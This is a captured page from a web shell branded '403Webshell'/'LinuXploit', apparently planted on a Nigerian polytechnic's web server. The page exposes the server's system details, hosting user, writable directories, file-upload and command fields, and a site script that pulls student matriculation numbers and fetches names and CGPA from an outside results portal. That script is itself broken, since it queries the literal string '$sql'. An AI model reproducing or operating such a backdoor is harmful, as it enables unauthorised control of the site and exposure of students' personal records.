403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.71.120.136
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs//testscript.php
<?php
	//
	function HTTPConnect($url){
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL , $url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	        //curl_setopt ( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
	        //
		$response = curl_exec($ch);
		curl_close($ch);	
		return $response;
	}
    // get these variable from url
require_once('connect.php');
$db=db_connect();
$sql="select matNo from realdata where matNo like 'ME%'";
$sql_ex=$db->query('$sql');
//while ($row=$sql_ex->fetch(PDO::FETCH_BOTH)) {

$row=$sql_ex->fetch(PDO::FETCH_BOTH);

    $RegNumber = $row[0];
    $Session = "2018/2019";
    $Semester = "First";
    $Category = "Regular"; // or Summer;
    //
    $PortalURL = "http://orchids-transactions.com/SMSMobile/orchids_call.php?";
    $parameters = $PortalURL . "opCode=RESULT_CHECKING&RegNumber=$RegNumber&Session=$Session&Semester=$Semester&Category=$Category";
    $jsondata = HTTPConnect($parameters);
    echo $jsondata;

    // Convert JSON string to Array
    $arrObj = json_decode($jsondata, true); // Set second argument as TRUE
    $RecKount = count($arrObj['Results']);
    if ($RecKount != 0) {
        echo $arrObj['Results'][0]['MatricNo'] .'-'.$arrObj['Results'][0]['FullNames'].'-'.$arrObj['Results'][0]['CGPA'].'<br>';
//        echo '<br>' . $arrObj['Results'][0][''];

    }
die();
//}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit